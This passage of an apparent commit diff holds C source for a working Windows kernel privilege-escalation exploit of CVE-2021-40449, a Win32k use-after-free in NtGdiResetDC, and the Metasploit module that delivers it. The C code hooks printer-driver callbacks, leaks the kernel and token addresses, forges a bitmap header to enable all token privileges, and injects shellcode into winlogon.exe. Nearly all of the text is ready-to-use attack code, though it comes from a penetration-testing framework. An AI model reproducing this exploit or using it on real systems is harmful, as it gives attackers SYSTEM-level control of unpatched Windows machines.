// Saved original function pointer
origDrvFuncs[iFunc] = (VoidFunc_t)drvEnableData.pdrvfn[n].pfn;
// Overwrite function pointer with hook function pointer
drvEnableData.pdrvfn[n].pfn = (PFN)driverHooks[i].func;
break;
}
}
}
// Disable driver
DrvDisableDriver();
// Restore protections for driver's usermode callback table
VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), lpflOldProtect, &_lpflOldProtect);
return TRUE;
}
return FALSE;
}
DWORD64 GetKernelBase()
{
/* Get kernel base address of ntoskrnl.exe */
DWORD lpcbNeeded;
BOOL res;
DWORD64* deviceDrivers;
DWORD64 kernelBase;
// Get device drivers will return an array of pointers
// Requires at least medium integrity level
res = EnumDeviceDrivers(NULL, 0, &lpcbNeeded);
deviceDrivers = (DWORD64*)malloc(lpcbNeeded);
res = EnumDeviceDrivers((LPVOID*)deviceDrivers, lpcbNeeded, &lpcbNeeded);
if (res == FALSE) {
return 0;
}
// First entry matches ntoskrnl.exe
kernelBase = deviceDrivers[0];
free(deviceDrivers);
return kernelBase;
}
DWORD64 GetKernelPointer(HANDLE handle, DWORD type)
{
/* Get kernel address for handle */
PSYSTEM_HANDLE_INFORMATION buffer;
DWORD objTypeNumber, bufferSize;
DWORD64 object;
buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(0x20);
bufferSize = 0x20;
// Query handle information. This will query information for all handles on the system
// Requires at least medium integrity level
NTSTATUS status = QuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, bufferSize, &bufferSize);
if (status == (NTSTATUS)0xC0000004L)
{
// Buffer too small. This is always the case, since we only alloc room 0x20 bytes
// initially, but we're receiving information for all handles on the system.
// But if we don't allocate a buffer initially, it will fail for some reason.
free(buffer);
buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(bufferSize);
status = QuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, bufferSize, &bufferSize);
}
if (buffer == NULL || status != 0)
{
return 0;
}
// Loop over the handles
for (size_t i = 0; i < buffer->NumberOfHandles; i++)
{
objTypeNumber = buffer->Handles[i].ObjectTypeIndex;
// Check if process ID matches current process ID and if object type matches the provided object type
if (buffer->Handles[i].UniqueProcessId == currentProcessId && buffer->Handles[i].ObjectTypeIndex == type)
{
// Check if handle value matches
if (handle == (HANDLE)buffer->Handles[i].HandleValue)
{
// Match. The kernel address will be in `Object`
object = (DWORD64)buffer->Handles[i].Object;
free(buffer);
return object;
}
}
}
//puts("[-] Could not find handle");
free(buffer);
return 0;
}
DWORD64 GetProcessTokenAddress() {
/* Get kernel address of current process token */
HANDLE proc, token;
DWORD64 tokenKernelAddress;
// Get handle for current process
proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, currentProcessId);
if (proc == NULL) {
//puts("[-] Failed to open current process");
return 0;
}
// Get handle for current process token
if (OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token) == FALSE)
{
//puts("[-] Failed to open process token");
return 0;
}
// Get kernel address for current process token handle
for (DWORD i = 0; i < 0x100; i++) {
// Sometimes GetKernelPointer will fail for some reason
// Mostly only on the the iteration
tokenKernelAddress = GetKernelPointer(token, 0x5);
if (tokenKernelAddress != 0) {
break;
}
}
if (tokenKernelAddress == 0) {
//puts("[-] Failed to get token kernel address");
return 0;
}
return tokenKernelAddress;
}
DWORD64 CreateForgedBitMapHeader(DWORD64 token)
{
/* Create a forged BitMapHeader on the large pool to be used in RtlSetAllBits */
// Cool trick taken from:
// https://github.com/KaLendsi/CVE-2021-40449-Exploit/blob/main/CVE-2021-40449-x64.cpp#L448
// https://gist.github.com/hugsy/d89c6ee771a4decfdf4f088998d60d19
DWORD dwBufSize, dwOutSize, dwThreadID, dwExpectedSize;
HANDLE hThread;
USHORT dwSize;
LPVOID lpMessageToStore, pBuffer;
UNICODE_STRING target;
HRESULT hRes;
ULONG_PTR StartAddress, EndAddress, ptr;
PBIG_POOL_INFO info;
hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)NULL, 0, CREATE_SUSPENDED, &dwThreadID);
dwSize = 0x1000;
lpMessageToStore = VirtualAlloc(0, dwSize, MEM_COMMIT, PAGE_READWRITE);
memset(lpMessageToStore, 0x41, 0x20);
// BitMapHeader->SizeOfBitMap
*(DWORD64*)lpMessageToStore = 0x80;
// BitMapHeader->Buffer
*(DWORD64*)((DWORD64)lpMessageToStore + 8) = token;
target.Length = dwSize;
target.MaximumLength = 0xffff;
target.Buffer = (PWSTR)lpMessageToStore;
hRes = SetInformationThread(hThread, (THREADINFOCLASS)ThreadNameInformation, &target, 0x10);
dwBufSize = 1024 * 1024;
pBuffer = LocalAlloc(LPTR, dwBufSize);
hRes = QuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemBigPoolInformation, pBuffer, dwBufSize, &dwOutSize);
dwExpectedSize = target.Length + sizeof(UNICODE_STRING);
StartAddress = (ULONG_PTR)pBuffer;
EndAddress = StartAddress + 8 + *((PDWORD)StartAddress) * sizeof(BIG_POOL_INFO);
ptr = StartAddress + 8;
while (ptr < EndAddress)
{
info = (PBIG_POOL_INFO)ptr;
if (strncmp(info->PoolTag, "ThNm", 4) == 0 && dwExpectedSize == info->PoolSize)
{
return (((ULONG_PTR)info->Address) & 0xfffffffffffffff0) + sizeof(UNICODE_STRING);
}
ptr += sizeof(BIG_POOL_INFO);
}
//printf("[-] Failed to leak pool address for forged BitMapHeader\n");
return 0;
}
BOOL Setup() {
DWORD64 kernelBase, tokenKernelAddress, rtlSetAllBitsOffset;
HMODULE kernelModule, ntdllModule;
ntdllModule = LoadLibraryW(L"ntdll.dll");
if (ntdllModule == NULL) {
//puts("[-] Failed to load NTDLL");
return FALSE;
}
currentProcessId = GetCurrentProcessId();
SetInformationThread = (NtSetInformationThread_t)GetProcAddress(ntdllModule, "NtSetInformationThread");
QuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(ntdllModule, "NtQuerySystemInformation");
kernelBase = GetKernelBase();
if (kernelBase == 0) {
//puts("[-] Failed to get kernel base");
return FALSE;
}
kernelModule = LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
if (kernelModule == 0) {
//puts("[-] Failed to load kernel module");
return FALSE;
}
tokenKernelAddress = GetProcessTokenAddress();
if (tokenKernelAddress == 0) {
//puts("[-] Failed to get token kernel address");
return FALSE;
}
rtlSetAllBitsOffset = (DWORD64)GetProcAddress(kernelModule, "RtlSetAllBits");
if (rtlSetAllBitsOffset == 0) {
//puts("[-] Failed to find RtlSetAllBits");
return FALSE;
}
rtlSetAllBits = (DWORD64)kernelBase + rtlSetAllBitsOffset - (DWORD64)kernelModule;
fakeRtlBitMapAddr = CreateForgedBitMapHeader(tokenKernelAddress + 0x40);
if (fakeRtlBitMapAddr == 0) {
//puts("[-] Failed to pool leak address of token");
return FALSE;
}
return SetupUsermodeCallbackHook();
}
VOID InjectToWinlogon(PMSF_PAYLOAD msfPayload)
{
/* Inject shellcode into winlogon.exe */
PROCESSENTRY32 entry;
HANDLE snapshot, proc;
entry.dwSize = sizeof(PROCESSENTRY32);
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
INT pid = -1;
if (Process32First(snapshot, &entry))
{
while (Process32Next(snapshot, &entry))
{
if (strcmp(entry.szExeFile, "winlogon.exe") == 0)
{
pid = entry.th32ProcessID;
break;
}
}
}
CloseHandle(snapshot);
if (pid < 0)
{
//puts("[-] Could not find winlogon.exe");
return;
}
proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (proc == NULL)
{
//puts("[-] Failed to open process. Exploit did probably not work");
return;
}
LPVOID buffer = VirtualAllocEx(proc, NULL, msfPayload->dwSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buffer == NULL)
{
//printf("[-] Failed to allocate remote memory");
return;
}
if (!WriteProcessMemory(proc, buffer, &msfPayload->cPayloadData, msfPayload->dwSize, 0))
{
//puts("[-] Failed to write to remote memory");
return;
}
HANDLE hthread = CreateRemoteThread(proc, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);
if (hthread == INVALID_HANDLE_VALUE)
{
//puts("[-] Failed to create remote thread");
return;
}
}
INT exploit(PMSF_PAYLOAD msfPayload)
{
BOOL res = FALSE;
res = Setup();
if (res == FALSE) {
//puts("[-] Failed to setup exploit");
return 0;
}
// Create new device context for printer with driver's hooked callbacks
hdc = CreateDCW(NULL, printerName, NULL, NULL);
if (hdc == NULL)
{
//puts("[-] Failed to create device context");
return -1;
}
// Trigger the vulnerability
// This will internally call `hdcOpenDCW` which will call our usermode callback
// From here we will call ResetDC again to trigger the UAF
shouldTrigger = TRUE;
ResetDC(hdc, NULL);
// Exploit complete
// We should now have all privileges
//puts("[*] Spawning remote thread");
InjectToWinlogon(msfPayload);
return 0;
}
LPVOID main(PMSF_PAYLOAD msfPayload) {
exploit(msfPayload);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_QUERY_HMODULE:
hAppInstance = hinstDLL;
if (lpReserved != NULL)
{
*(HMODULE*)lpReserved = hAppInstance;
}
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
main((PMSF_PAYLOAD)lpReserved);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}

View File

@ -0,0 +1,164 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
{
'Name' => '',
'Description' => %q{
A use after free vulnerability exists in the `NtGdiResetDC()` function of Win32k which can be leveraged by
an attacker to escalate privileges to those of `NT AUTHORITY\SYSTEM`. The flaw exists due to the fact
that this function calls `hdcOpenDCW()`, which performs a user mode callback. During this callback, attackers
can call the `NtGdiResetDC()` function again with the same handle as before, which will result in the PDC object
that is referenced byt his handle being freed. The attacker can then replace the memory referenced by the handle
with their own object, before passing execution back to the original `NtGdiResetDC()` call, which will now use the
attacker's object without appropriate validation. This can then allow the attacker to manipulate the state of the
kernel and, together with additional exploitation techniques, gain code execution as NT AUTHORITY\SYSTEM.
This module has been tested to work on Windows 10 x64 RS1 (build 14393) and RS5 (build 17763), however previous versions
of Windows 10 will likely also work.
},
'License' => MSF_LICENSE,
'Author' => [
'IronHusky', # APT Group who exploited this in the wild
'Costin Raiu', # Initial reporting on bug at SecureList
'Boris Larin', # Initial reporting on bug at SecureList
"Red Raindrop Team of Qi'anxin Threat Intelligence Center", # detailed analysis report in Chinese showing how to replicate the vulnerability
'KaLendsi', # First Public POC targeting Windows 10 build 14393 only, later added support for 17763
'ly4k', # GitHub POC adding support for Windows 10 build 17763, PoC used for this module.
'Grant Willcox' # metasploit module
],
'Arch' => [ ARCH_X64 ],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Targets' => [
[ 'Windows 10 x64 RS1 (build 14393) and RS5 (build 17763)', { 'Arch' => ARCH_X64 } ]
],
'Payload' => {
'DisableNops' => true
},
'References' => [
[ 'CVE', '2021-40449' ],
[ 'URL', 'https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/' ], # Initial report of in the wild exploitation
[ 'URL', 'https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ' ], # Detailed writeup
[ 'URL', 'https://github.com/KaLendsi/CVE-2021-40449-Exploit' ], # First public PoC
[ 'URL', 'https://github.com/ly4k/CallbackHell' ] # Updated PoC this module uses for exploitation.
],
'DisclosureDate' => '2021-10-12',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_OS_RESTARTS, ],
'Reliability' => [ REPEATABLE_SESSION, ],
'SideEffects' => []
}
}
)
)
end
def check
sysinfo_value = sysinfo['OS']
if sysinfo_value !~ /windows/i
# Non-Windows systems are definitely not affected.
return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')
end
build_num_raw = session.shell_command_token('cmd.exe /c ver')
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)
if build_num.nil?
print_error("Couldn't retrieve the target's build number!")
else
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)[0]
print_status("Target's build number: #{build_num}")
end
# see https://docs.microsoft.com/en-us/windows/release-information/
unless sysinfo_value =~ /(7|8|8\.1|10|2008|2012|2016|2019|1803|1809|1903)/
return CheckCode::Safe('Target is not running a vulnerable version of Windows!')
end
build_num_gemversion = Rex::Version.new(build_num)
# Build numbers taken from https://www.qualys.com/research/security-alerts/2021-10-12/microsoft/
if (build_num_gemversion >= Rex::Version.new('10.0.22000.0')) && (build_num_gemversion < Rex::Version.new('10.0.22000.258')) # Windows 11
return CheckCode::Appears('Vulnerable Windows 11 build detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.20348.0')) && (build_num_gemversion < Rex::Version.new('10.0.20348.288')) # Windows Server 2022
return CheckCode::Appears('Vulnerable Windows Server 2022 build detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.19044.0')) && (build_num_gemversion < Rex::Version.new('10.0.19044.1319')) # Windows 10 21H2
return CheckCode::Appears('Vulnerable Windows 10 21H2 build detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.19043.0')) && (build_num_gemversion < Rex::Version.new('10.0.19043.1288')) # Windows 10 21H1
return CheckCode::Appears('Vulnerable Windows 10 21H1 build detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.19042.0')) && (build_num_gemversion < Rex::Version.new('10.0.19042.1288')) # Windows 10 20H2
return CheckCode::Appears('Vulnerable Windows 10 20H2 build detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.19041.0')) && (build_num_gemversion < Rex::Version.new('10.0.19041.1288')) # Windows 10 20H1
return CheckCode::Appears('Vulnerable Windows 10 20H1 build detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.18363.0')) && (build_num_gemversion < Rex::Version.new('10.0.18363.1854')) # Windows 10 v1909
return CheckCode::Appears('Vulnerable Windows 10 v1909 build detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.18362.0')) && (build_num_gemversion < Rex::Version.new('10.0.18362.9999999')) # Windows 10 v1903
return CheckCode::Appears('Vulnerable Windows 10 v1903 build detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.17763.0')) && (build_num_gemversion < Rex::Version.new('10.0.17763.2237')) # Windows 10 v1809
return CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.17134.0')) && (build_num_gemversion < Rex::Version.new('10.0.17134.999999')) # Windows 10 v1803
return CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.16299.0')) && (build_num_gemversion < Rex::Version.new('10.0.16299.999999')) # Windows 10 v1709
return CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.15063.0')) && (build_num_gemversion < Rex::Version.new('10.0.15063.999999')) # Windows 10 v1703
return CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.14393.0')) && (build_num_gemversion < Rex::Version.new('10.0.14393.4704')) # Windows 10 v1607
return CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.10586.0')) && (build_num_gemversion < Rex::Version.new('10.0.10586.9999999')) # Windows 10 v1511
return CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!')
elsif (build_num_gemversion >= Rex::Version.new('10.0.10240.0')) && (build_num_gemversion < Rex::Version.new('10.0.10240.19086')) # Windows 10 v1507
return CheckCode::Appears('Vulnerable Windows 10 v1507 build detected!')
elsif (build_num_gemversion >= Rex::Version.new('6.3.9600.0')) && (build_num_gemversion < Rex::Version.new('6.3.9600.20144')) # Windows 8.1/Windows Server 2012 R2
return CheckCode::Appears('Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!')
elsif (build_num_gemversion >= Rex::Version.new('6.2.9200.0')) && (build_num_gemversion < Rex::Version.new('6.2.9200.23489')) # Windows 8/Windows Server 2012
return CheckCode::Appears('Vulnerable Windows 8/Windows Server 2012 build detected!')
elsif (build_num_gemversion >= Rex::Version.new('6.1.7601.0')) && (build_num_gemversion < Rex::Version.new('6.1.7601.25740')) # Windows 7/Windows Server 2008 R2
return CheckCode::Appears('Vulnerable Windows 7/Windows Server 2008 R2 build detected!')
elsif (build_num_gemversion >= Rex::Version.new('6.0.6003.0')) && (build_num_gemversion < Rex::Version.new('6.0.6003.21251')) # Windows Server 2008/Windows Server 2008 SP2
return CheckCode::Appears('Vulnerable Windows Server 2008/Windows Server 2008 SP2 build detected!')
else
return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')
end
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
end
encoded_payload = payload.encoded
execute_dll(
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-40449', 'CVE-2021-40449.x64.dll'),
[encoded_payload.length].pack('I<') + encoded_payload
)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end